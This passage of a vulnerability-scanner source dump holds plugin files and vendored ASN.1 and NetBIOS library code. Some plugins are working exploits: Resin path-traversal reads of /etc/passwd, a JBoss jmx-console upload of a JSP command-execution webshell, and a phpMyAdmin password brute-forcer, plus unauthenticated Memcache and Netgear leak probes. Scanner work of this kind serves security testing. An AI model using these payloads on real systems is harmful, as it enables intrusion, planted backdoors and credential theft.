univ.OctetString.tagSet.tagImplicitly( 11 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 19) 12 | ) 13 | 14 | class TeletexString(univ.OctetString): 15 | tagSet = univ.OctetString.tagSet.tagImplicitly( 16 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 20) 17 | ) 18 | 19 | class T61String(TeletexString): pass 20 | 21 | class VideotexString(univ.OctetString): 22 | tagSet = univ.OctetString.tagSet.tagImplicitly( 23 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 21) 24 | ) 25 | 26 | class IA5String(univ.OctetString): 27 | tagSet = univ.OctetString.tagSet.tagImplicitly( 28 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 22) 29 | ) 30 | 31 | class GraphicString(univ.OctetString): 32 | tagSet = univ.OctetString.tagSet.tagImplicitly( 33 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 25) 34 | ) 35 | 36 | class VisibleString(univ.OctetString): 37 | tagSet = univ.OctetString.tagSet.tagImplicitly( 38 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 26) 39 | ) 40 | 41 | class ISO646String(VisibleString): pass 42 | 43 | class GeneralString(univ.OctetString): 44 | tagSet = univ.OctetString.tagSet.tagImplicitly( 45 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 27) 46 | ) 47 | 48 | class UniversalString(univ.OctetString): 49 | tagSet = univ.OctetString.tagSet.tagImplicitly( 50 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 28) 51 | ) 52 | encoding = "utf-32-be" 53 | 54 | class BMPString(univ.OctetString): 55 | tagSet = univ.OctetString.tagSet.tagImplicitly( 56 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 30) 57 | ) 58 | encoding = "utf-16-be" 59 | 60 | class UTF8String(univ.OctetString): 61 | tagSet = univ.OctetString.tagSet.tagImplicitly( 62 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 12) 63 | ) 64 | encoding = "utf-8" 65 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/type/error.py: -------------------------------------------------------------------------------- 1 | from pyasn1.error import PyAsn1Error 2 | 3 | class ValueConstraintError(PyAsn1Error): pass 4 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/type/namedval.py: -------------------------------------------------------------------------------- 1 | # ASN.1 named integers 2 | from pyasn1 import error 3 | 4 | __all__ = [ 'NamedValues' ] 5 | 6 | class NamedValues: 7 | def __init__(self, *namedValues): 8 | self.nameToValIdx = {}; self.valToNameIdx = {} 9 | self.namedValues = () 10 | automaticVal = 1 11 | for namedValue in namedValues: 12 | if isinstance(namedValue, tuple): 13 | name, val = namedValue 14 | else: 15 | name = namedValue 16 | val = automaticVal 17 | if name in self.nameToValIdx: 18 | raise error.PyAsn1Error('Duplicate name %s' % (name,)) 19 | self.nameToValIdx[name] = val 20 | if val in self.valToNameIdx: 21 | raise error.PyAsn1Error('Duplicate value %s=%s' % (name, val)) 22 | self.valToNameIdx[val] = name 23 | self.namedValues = self.namedValues + ((name, val),) 24 | automaticVal = automaticVal + 1 25 | 26 | def __repr__(self): 27 | return '%s(%s)' % (self.__class__.__name__, ', '.join([repr(x) for x in self.namedValues])) 28 | 29 | def __str__(self): return str(self.namedValues) 30 | 31 | def __eq__(self, other): return tuple(self) == tuple(other) 32 | def __ne__(self, other): return tuple(self) != tuple(other) 33 | def __lt__(self, other): return tuple(self) < tuple(other) 34 | def __le__(self, other): return tuple(self) <= tuple(other) 35 | def __gt__(self, other): return tuple(self) > tuple(other) 36 | def __ge__(self, other): return tuple(self) >= tuple(other) 37 | def __hash__(self): return hash(tuple(self)) 38 | 39 | def getName(self, value): 40 | if value in self.valToNameIdx: 41 | return self.valToNameIdx[value] 42 | 43 | def getValue(self, name): 44 | if name in self.nameToValIdx: 45 | return self.nameToValIdx[name] 46 | 47 | def __getitem__(self, i): return self.namedValues[i] 48 | def __len__(self): return len(self.namedValues) 49 | 50 | def __add__(self, namedValues): 51 | return self.__class__(*self.namedValues + namedValues) 52 | def __radd__(self, namedValues): 53 | return self.__class__(*namedValues + tuple(self)) 54 | 55 | def clone(self, *namedValues): 56 | return self.__class__(*tuple(self) + namedValues) 57 | 58 | # XXX clone/subtype? 59 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/type/tagmap.py: -------------------------------------------------------------------------------- 1 | from pyasn1 import error 2 | 3 | class TagMap: 4 | def __init__(self, posMap={}, negMap={}, defType=None): 5 | self.__posMap = posMap.copy() 6 | self.__negMap = negMap.copy() 7 | self.__defType = defType 8 | 9 | def __contains__(self, tagSet): 10 | return tagSet in self.__posMap or \ 11 | self.__defType is not None and tagSet not in self.__negMap 12 | 13 | def __getitem__(self, tagSet): 14 | if tagSet in self.__posMap: 15 | return self.__posMap[tagSet] 16 | elif tagSet in self.__negMap: 17 | raise error.PyAsn1Error('Key in negative map') 18 | elif self.__defType is not None: 19 | return self.__defType 20 | else: 21 | raise KeyError() 22 | 23 | def __repr__(self): 24 | s = self.__class__.__name__ + '(' 25 | if self.__posMap: 26 | s = s + 'posMap=%r, ' % (self.__posMap,) 27 | if self.__negMap: 28 | s = s + 'negMap=%r, ' % (self.__negMap,) 29 | if self.__defType is not None: 30 | s = s + 'defType=%r' % (self.__defType,) 31 | return s + ')' 32 | 33 | def __str__(self): 34 | s = self.__class__.__name__ + ':\n' 35 | if self.__posMap: 36 | s = s + 'posMap:\n%s, ' % ',\n '.join([ x.prettyPrintType() for x in self.__posMap.values()]) 37 | if self.__negMap: 38 | s = s + 'negMap:\n%s, ' % ',\n '.join([ x.prettyPrintType() for x in self.__negMap.values()]) 39 | if self.__defType is not None: 40 | s = s + 'defType:\n%s, ' % self.__defType.prettyPrintType() 41 | return s 42 | 43 | def clone(self, parentType, tagMap, uniq=False): 44 | if self.__defType is not None and tagMap.getDef() is not None: 45 | raise error.PyAsn1Error('Duplicate default value at %s' % (self,)) 46 | if tagMap.getDef() is not None: 47 | defType = tagMap.getDef() 48 | else: 49 | defType = self.__defType 50 | 51 | posMap = self.__posMap.copy() 52 | for k in tagMap.getPosMap(): 53 | if uniq and k in posMap: 54 | raise error.PyAsn1Error('Duplicate positive key %s' % (k,)) 55 | posMap[k] = parentType 56 | 57 | negMap = self.__negMap.copy() 58 | negMap.update(tagMap.getNegMap()) 59 | 60 | return self.__class__( 61 | posMap, negMap, defType, 62 | ) 63 | 64 | def getPosMap(self): return self.__posMap.copy() 65 | def getNegMap(self): return self.__negMap.copy() 66 | def getDef(self): return self.__defType 67 | -------------------------------------------------------------------------------- /celerynode/vuldb/pyasn1/type/useful.py: -------------------------------------------------------------------------------- 1 | # ASN.1 "useful" types 2 | from pyasn1.type import char, tag 3 | 4 | class ObjectDescriptor(char.GraphicString): 5 | tagSet = char.GraphicString.tagSet.tagImplicitly( 6 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 7) 7 | ) 8 | 9 | class GeneralizedTime(char.VisibleString): 10 | tagSet = char.VisibleString.tagSet.tagImplicitly( 11 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 24) 12 | ) 13 | 14 | class UTCTime(char.VisibleString): 15 | tagSet = char.VisibleString.tagSet.tagImplicitly( 16 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 23) 17 | ) 18 | -------------------------------------------------------------------------------- /celerynode/vuldb/resin_fileread.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "Resin任意文件读取_4", 3 | "info" : "可通过此漏洞读取服务器上的文件 examples", 4 | "level" : "高危", 5 | "type" : "文件读取", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:resin", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd", 12 | "tag" : "存在任意文件读取漏洞 /resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../etc/passwd", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "root:", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /celerynode/vuldb/resin_fileread_1.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : "可通过此漏洞读取服务器上的文件 resource", 3 | "name" : "Resin任意文件读取_1", 4 | "level" : "高危", 5 | "type" : "文件读取", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:resin", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd", 12 | "tag" : "存在任意文件读取漏洞 /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "root:", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /celerynode/vuldb/resin_fileread_3.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "Resin任意文件读取_3", 3 | "info" : "Resin File Read And Directory Browsing Vul CVE:2007-2440", 4 | "level" : "高危", 5 | "type" : "文件读取", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:resin", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/%20..\\\\web-inf", 12 | "tag" : "存在CVE:2007-2440漏洞", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "
"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
<% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + """" 36 | # s1.recv(1024) 37 | shellcode = "" 38 | name = random_str(5) 39 | for v in shell: 40 | shellcode += hex(ord(v)).replace("0x", "%") 41 | flag = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=" + \ 42 | "java.lang.String&arg0=%s.war&argType=java.lang.String&arg1=xunfeng&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=" % ( 43 | name) + shellcode + \ 44 | "&argType=boolean&arg4=True HTTP/1.0\r\n\r\n" 45 | s1.send(flag) 46 | data = s1.recv(512) 47 | s1.close() 48 | time.sleep(10) 49 | url = "http://%s:%d" % (host, int(port)) 50 | webshell_url = "%s/%s/xunfeng.jsp" % (url, name) 51 | res = urllib2.urlopen(webshell_url, timeout=timeout) 52 | if 'comments' in res.read(): 53 | info = u"Jboss Authentication bypass webshell:%s" % (webshell_url) 54 | return info 55 | except Exception, e: 56 | pass 57 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/jboss_info.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : "信息泄露", 3 | "name" : "Jboss信息泄露", 4 | "level" : "低危", 5 | "type" : "信息泄露", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:jboss", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/status?full=true", 12 | "tag" : "存在信息泄露漏洞", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "Max processing time", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /server/vulscan/vuldb/jenkins_unauth.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "Jenkins代码执行", 3 | "info" : "Jenkins未授权访问,攻击者可利用此漏洞执行系统命令", 4 | "level" : "紧急", 5 | "type" : "代码执行", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:jenkins", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/", 12 | "tag" : "Jenkins /Script 代码执行", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "task-link", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /server/vulscan/vuldb/jetty_refer.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import socket 3 | 4 | 5 | def get_plugin_info(): 6 | plugin_info = { 7 | "name": "Jetty 共享缓存区远程泄露", 8 | "info": "攻击者可利用此漏洞获取其他用户的请求信息,进而获取其权限", 9 | "level": "中危", 10 | "type": "信息泄露", 11 | "author": "wolf@YSRC", 12 | "url": "https://www.secpulse.com/archives/4911.html", 13 | "keyword": "tag:jetty", 14 | "source": 1 15 | } 16 | return plugin_info 17 | 18 | 19 | def check(ip, port, timeout): 20 | try: 21 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 22 | s.settimeout(timeout) 23 | s.connect((ip, int(port))) 24 | flag = "GET / HTTP/1.1\r\nReferer:%s\r\n\r\n" % (chr(0) * 15) 25 | s.send(flag) 26 | data = s.recv(512) 27 | s.close() 28 | if 'state=HEADER_VALUE' in data and '400' in data: 29 | return u"jetty 共享缓存区远程泄露漏洞" 30 | except: 31 | pass 32 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/memcache_unauth.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import socket 3 | 4 | 5 | def get_plugin_info(): 6 | plugin_info = { 7 | "name": "Memcache未授权访问", 8 | "info": "导致数据库敏感信息泄露。", 9 | "level": "中危", 10 | "type": "未授权访问", 11 | "author": "wolf@YSRC", 12 | "url": "", 13 | "keyword": "server:memcache", 14 | "source": 1 15 | } 16 | return plugin_info 17 | 18 | 19 | def check(ip, port, timeout): 20 | try: 21 | socket.setdefaulttimeout(timeout) 22 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 23 | s.connect((ip, int(port))) 24 | s.send("stats\r\n") 25 | result = s.recv(1024) 26 | if "STAT version" in result: 27 | return u"未授权访问" 28 | except Exception, e: 29 | pass 30 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/netgear_passwd.json: -------------------------------------------------------------------------------- 1 | {"info": "NETGEAR\u8def\u7531\u5668\u591a\u4e2a\u7cfb\u5217\u5b58\u5728\u5bc6\u7801\u6cc4\u9732\u6f0f\u6d1e\uff08CVE-2017-5521\uff09", "source": 1, "name": "Netgear\u5bc6\u7801\u6cc4\u9732", "keyword": "banner:NETGEAR", "level": "\u9ad8\u5371", "url": "https://www.seebug.org/vuldb/ssvid-92639", "author": "wolf@YSRC", "type": "\u4fe1\u606f\u6cc4\u9732", "plugin": {"url": "/passwordrecovered.cgi?id=get_rekt", "tag": "\u6f0f\u6d1eURL\uff1a/passwordrecovered.cgi?id=get_rekt", "analyzing": "keyword", "analyzingdata": "class=\"MNUText\" align=\"left\">", "data": "", "method": "GET"}} -------------------------------------------------------------------------------- /server/vulscan/vuldb/nmb/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/superhuahua/xunfengES/427ec1d56b602e6eebe24c51502a23628e5ca5e8/server/vulscan/vuldb/nmb/__init__.py -------------------------------------------------------------------------------- /server/vulscan/vuldb/nmb/nmb_constants.py: -------------------------------------------------------------------------------- 1 | 2 | # Default port for NetBIOS name service 3 | NETBIOS_NS_PORT = 137 4 | 5 | # Default port for NetBIOS session service 6 | NETBIOS_SESSION_PORT = 139 7 | 8 | # Owner Node Type Constants 9 | NODE_B = 0x00 10 | NODE_P = 0x01 11 | NODE_M = 0x10 12 | NODE_RESERVED = 0x11 13 | 14 | # Name Type Constants 15 | TYPE_UNKNOWN = 0x01 16 | TYPE_WORKSTATION = 0x00 17 | TYPE_CLIENT = 0x03 18 | TYPE_SERVER = 0x20 19 | TYPE_DOMAIN_MASTER = 0x1B 20 | TYPE_MASTER_BROWSER = 0x1D 21 | TYPE_BROWSER = 0x1E 22 | 23 | TYPE_NAMES = { TYPE_UNKNOWN: 'Unknown', 24 | TYPE_WORKSTATION: 'Workstation', 25 | TYPE_CLIENT: 'Client', 26 | TYPE_SERVER: 'Server', 27 | TYPE_MASTER_BROWSER: 'Master Browser', 28 | TYPE_BROWSER: 'Browser Server', 29 | TYPE_DOMAIN_MASTER: 'Domain Master' 30 | } 31 | 32 | # Values for Session Packet Type field in Session Packets 33 | SESSION_MESSAGE = 0x00 34 | SESSION_REQUEST = 0x81 35 | POSITIVE_SESSION_RESPONSE = 0x82 36 | NEGATIVE_SESSION_RESPONSE = 0x83 37 | REGTARGET_SESSION_RESPONSE = 0x84 38 | SESSION_KEEPALIVE = 0x85 39 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/nmb/nmb_structs.py: -------------------------------------------------------------------------------- 1 | 2 | import struct 3 | 4 | class NMBError(Exception): pass 5 | 6 | 7 | class NotConnectedError(NMBError): 8 | """ 9 | Raisd when the underlying NMB connection has been disconnected or not connected yet 10 | """ 11 | pass 12 | 13 | 14 | class NMBSessionMessage: 15 | 16 | HEADER_STRUCT_FORMAT = '>BBH' 17 | HEADER_STRUCT_SIZE = struct.calcsize(HEADER_STRUCT_FORMAT) 18 | 19 | def __init__(self): 20 | self.reset() 21 | 22 | def reset(self): 23 | self.type = 0 24 | self.flags = 0 25 | self.data = '' 26 | 27 | def decode(self, data, offset): 28 | data_len = len(data) 29 | 30 | if data_len < offset + self.HEADER_STRUCT_SIZE: 31 | # Not enough data for decoding 32 | return 0 33 | 34 | self.reset() 35 | self.type, self.flags, length = struct.unpack(self.HEADER_STRUCT_FORMAT, data[offset:offset+self.HEADER_STRUCT_SIZE]) 36 | 37 | if self.flags & 0x01: 38 | length |= 0x010000 39 | 40 | if data_len < offset + self.HEADER_STRUCT_SIZE + length: 41 | return 0 42 | 43 | self.data = data[offset+self.HEADER_STRUCT_SIZE:offset+self.HEADER_STRUCT_SIZE+length] 44 | return self.HEADER_STRUCT_SIZE + length 45 | 46 | 47 | class DirectTCPSessionMessage(NMBSessionMessage): 48 | 49 | HEADER_STRUCT_FORMAT = '>I' 50 | HEADER_STRUCT_SIZE = struct.calcsize(HEADER_STRUCT_FORMAT) 51 | 52 | def decode(self, data, offset): 53 | data_len = len(data) 54 | 55 | if data_len < offset + self.HEADER_STRUCT_SIZE: 56 | # Not enough data for decoding 57 | return 0 58 | 59 | self.reset() 60 | length = struct.unpack(self.HEADER_STRUCT_FORMAT, data[offset:offset+self.HEADER_STRUCT_SIZE])[0] 61 | 62 | if length >> 24 != 0: 63 | raise NMBError("Invalid protocol header for Direct TCP session message") 64 | 65 | if data_len < offset + self.HEADER_STRUCT_SIZE + length: 66 | return 0 67 | 68 | self.data = data[offset+self.HEADER_STRUCT_SIZE:offset+self.HEADER_STRUCT_SIZE+length] 69 | return self.HEADER_STRUCT_SIZE + length 70 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/nmb/utils.py: -------------------------------------------------------------------------------- 1 | 2 | import string, re 3 | 4 | 5 | def encode_name(name, type, scope = None): 6 | """ 7 | Perform first and second level encoding of name as specified in RFC 1001 (Section 4) 8 | """ 9 | if name == '*': 10 | name = name + '\0' * 15 11 | elif len(name) > 15: 12 | name = name[:15] + chr(type) 13 | else: 14 | name = string.ljust(name, 15) + chr(type) 15 | 16 | def _do_first_level_encoding(m): 17 | s = ord(m.group(0)) 18 | return string.uppercase[s >> 4] + string.uppercase[s & 0x0f] 19 | 20 | encoded_name = chr(len(name) * 2) + re.sub('.', _do_first_level_encoding, name) 21 | if scope: 22 | encoded_scope = '' 23 | for s in string.split(scope, '.'): 24 | encoded_scope = encoded_scope + chr(len(s)) + s 25 | return encoded_name + encoded_scope + '\0' 26 | else: 27 | return encoded_name + '\0' 28 | 29 | 30 | def decode_name(name): 31 | name_length = ord(name[0]) 32 | assert name_length == 32 33 | 34 | def _do_first_level_decoding(m): 35 | s = m.group(0) 36 | return chr(((ord(s[0]) - ord('A')) << 4) | (ord(s[1]) - ord('A'))) 37 | 38 | decoded_name = re.sub('..', _do_first_level_decoding, name[1:33]) 39 | if name[33] == '\0': 40 | return 34, decoded_name, '' 41 | else: 42 | decoded_domain = '' 43 | offset = 34 44 | while 1: 45 | domain_length = ord(name[offset]) 46 | if domain_length == 0: 47 | break 48 | decoded_domain = '.' + name[offset:offset + domain_length] 49 | offset = offset + domain_length 50 | return offset + 1, decoded_name, decoded_domain 51 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/phpmyadmin_crackpass.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | import urllib2 3 | import re 4 | 5 | def get_plugin_info(): 6 | plugin_info = { 7 | "name": "phpMyAdmin弱口令", 8 | "info": "导致数据库敏感信息泄露,严重可导致服务器被入侵控制。", 9 | "level": "高危", 10 | "type": "弱口令", 11 | "author": "wolf@YSRC", 12 | "url": "", 13 | "keyword": "tag:phpmyadmin", 14 | "source": 1 15 | } 16 | return plugin_info 17 | 18 | 19 | def check(ip, port, timeout): 20 | flag_list = ['src="navigation.php', 'frameborder="0" id="frame_content"', 'id="li_server_type">', 21 | 'class="disableAjax" title='] 22 | user_list = ['root', 'mysql', 'www', 'bbs', 'wwwroot', 'bak', 'backup'] 23 | error_i = 0 24 | try: 25 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port), timeout=timeout).read() 26 | if 'input_password' in res_html and 'name="token"' in res_html: 27 | url = 'http://' + ip + ":" + str(port) + "/index.php" 28 | else: 29 | res_html = urllib2.urlopen('http://' + ip + ":" + str(port) + "/phpmyadmin", timeout=timeout).read() 30 | if 'input_password' in res_html and 'name="token"' in res_html: 31 | url = 'http://' + ip + ":" + str(port) + "/phpmyadmin/index.php" 32 | else: 33 | return 34 | except: 35 | pass 36 | for user in user_list: 37 | for password in PASSWORD_DIC: 38 | try: 39 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 40 | res_html = opener.open(url, timeout=timeout).read() 41 | token = re.search('name="token" value="(.*?)" />', res_html) 42 | token_hash = urllib2.quote(token.group(1)) 43 | postdata = "pma_username=%s&pma_password=%s&server=1&target=index.php&lang=zh_CN&collation_connection=utf8_general_ci&token=%s" % ( 44 | user, password, token_hash) 45 | res = opener.open(url,postdata, timeout=timeout) 46 | res_html = res.read() 47 | for flag in flag_list: 48 | if flag in res_html: 49 | return u'phpmyadmin弱口令,账号:%s 密码:%s' % (user, password) 50 | except urllib2.URLError, e: 51 | error_i += 1 52 | if error_i >= 3: return 53 | except Exception,e: 54 | return -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/__init__.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | # http://www.python.org/dev/peps/pep-0396/ 4 | __version__ = '0.1.9' 5 | 6 | if sys.version_info[:2] < (2, 4): 7 | raise RuntimeError('PyASN1 requires Python 2.4 or later') 8 | 9 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/ber/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/ber/eoo.py: -------------------------------------------------------------------------------- 1 | from pyasn1.type import base, tag 2 | 3 | class EndOfOctets(base.AbstractSimpleAsn1Item): 4 | defaultValue = 0 5 | tagSet = tag.initTagSet( 6 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 0x00) 7 | ) 8 | endOfOctets = EndOfOctets() 9 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/cer/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/cer/decoder.py: -------------------------------------------------------------------------------- 1 | # CER decoder 2 | from pyasn1.type import univ 3 | from pyasn1.codec.ber import decoder 4 | from pyasn1.compat.octets import oct2int 5 | from pyasn1 import error 6 | 7 | class BooleanDecoder(decoder.AbstractSimpleDecoder): 8 | protoComponent = univ.Boolean(0) 9 | def valueDecoder(self, fullSubstrate, substrate, asn1Spec, tagSet, length, 10 | state, decodeFun, substrateFun): 11 | head, tail = substrate[:length], substrate[length:] 12 | if not head or length != 1: 13 | raise error.PyAsn1Error('Not single-octet Boolean payload') 14 | byte = oct2int(head[0]) 15 | # CER/DER specifies encoding of TRUE as 0xFF and FALSE as 0x0, while 16 | # BER allows any non-zero value as TRUE; cf. sections 8.2.2. and 11.1 17 | # in http://www.itu.int/ITU-T/studygroups/com17/languages/X.690-0207.pdf 18 | if byte == 0xff: 19 | value = 1 20 | elif byte == 0x00: 21 | value = 0 22 | else: 23 | raise error.PyAsn1Error('Unexpected Boolean payload: %s' % byte) 24 | return self._createComponent(asn1Spec, tagSet, value), tail 25 | 26 | tagMap = decoder.tagMap.copy() 27 | tagMap.update({ 28 | univ.Boolean.tagSet: BooleanDecoder() 29 | }) 30 | 31 | typeMap = decoder.typeMap 32 | 33 | class Decoder(decoder.Decoder): pass 34 | 35 | decode = Decoder(tagMap, decoder.typeMap) 36 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/der/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/der/decoder.py: -------------------------------------------------------------------------------- 1 | # DER decoder 2 | from pyasn1.codec.cer import decoder 3 | 4 | tagMap = decoder.tagMap 5 | typeMap = decoder.typeMap 6 | class Decoder(decoder.Decoder): 7 | supportIndefLength = False 8 | 9 | decode = Decoder(tagMap, typeMap) 10 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/codec/der/encoder.py: -------------------------------------------------------------------------------- 1 | # DER encoder 2 | from pyasn1.type import univ 3 | from pyasn1.codec.cer import encoder 4 | from pyasn1 import error 5 | 6 | class SetOfEncoder(encoder.SetOfEncoder): 7 | def _cmpSetComponents(self, c1, c2): 8 | tagSet1 = isinstance(c1, univ.Choice) and \ 9 | c1.getEffectiveTagSet() or c1.getTagSet() 10 | tagSet2 = isinstance(c2, univ.Choice) and \ 11 | c2.getEffectiveTagSet() or c2.getTagSet() 12 | return cmp(tagSet1, tagSet2) 13 | 14 | tagMap = encoder.tagMap.copy() 15 | tagMap.update({ 16 | # Overload CER encoders with BER ones (a bit hackerish XXX) 17 | univ.BitString.tagSet: encoder.encoder.BitStringEncoder(), 18 | univ.OctetString.tagSet: encoder.encoder.OctetStringEncoder(), 19 | # Set & SetOf have same tags 20 | univ.SetOf().tagSet: SetOfEncoder() 21 | }) 22 | 23 | typeMap = encoder.typeMap 24 | 25 | class Encoder(encoder.Encoder): 26 | supportIndefLength = False 27 | def __call__(self, client, defMode=True, maxChunkSize=0): 28 | if not defMode: 29 | raise error.PyAsn1Error('DER forbids indefinite length mode') 30 | return encoder.Encoder.__call__(self, client, defMode, maxChunkSize) 31 | 32 | encode = Encoder(tagMap, typeMap) 33 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/compat/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/compat/binary.py: -------------------------------------------------------------------------------- 1 | from sys import version_info 2 | 3 | if version_info[0:2] < (2, 6): 4 | def bin(x): 5 | if x <= 1: 6 | return '0b'+str(x) 7 | else: 8 | return bin(x>>1) + str(x&1) 9 | else: 10 | bin = bin 11 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/compat/octets.py: -------------------------------------------------------------------------------- 1 | from sys import version_info 2 | 3 | if version_info[0] <= 2: 4 | int2oct = chr 5 | ints2octs = lambda s: ''.join([ int2oct(x) for x in s ]) 6 | null = '' 7 | oct2int = ord 8 | octs2ints = lambda s: [ oct2int(x) for x in s ] 9 | str2octs = lambda x: x 10 | octs2str = lambda x: x 11 | isOctetsType = lambda s: isinstance(s, str) 12 | isStringType = lambda s: isinstance(s, (str, unicode)) 13 | else: 14 | ints2octs = bytes 15 | int2oct = lambda x: ints2octs((x,)) 16 | null = ints2octs() 17 | oct2int = lambda x: x 18 | octs2ints = lambda s: [ x for x in s ] 19 | str2octs = lambda x: x.encode() 20 | octs2str = lambda x: x.decode() 21 | isOctetsType = lambda s: isinstance(s, bytes) 22 | isStringType = lambda s: isinstance(s, str) 23 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/error.py: -------------------------------------------------------------------------------- 1 | class PyAsn1Error(Exception): pass 2 | class ValueConstraintError(PyAsn1Error): pass 3 | class SubstrateUnderrunError(PyAsn1Error): pass 4 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/type/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is necessary to make this directory a package. 2 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/type/char.py: -------------------------------------------------------------------------------- 1 | # ASN.1 "character string" types 2 | from pyasn1.type import univ, tag 3 | 4 | class NumericString(univ.OctetString): 5 | tagSet = univ.OctetString.tagSet.tagImplicitly( 6 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 18) 7 | ) 8 | 9 | class PrintableString(univ.OctetString): 10 | tagSet = univ.OctetString.tagSet.tagImplicitly( 11 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 19) 12 | ) 13 | 14 | class TeletexString(univ.OctetString): 15 | tagSet = univ.OctetString.tagSet.tagImplicitly( 16 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 20) 17 | ) 18 | 19 | class T61String(TeletexString): pass 20 | 21 | class VideotexString(univ.OctetString): 22 | tagSet = univ.OctetString.tagSet.tagImplicitly( 23 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 21) 24 | ) 25 | 26 | class IA5String(univ.OctetString): 27 | tagSet = univ.OctetString.tagSet.tagImplicitly( 28 | 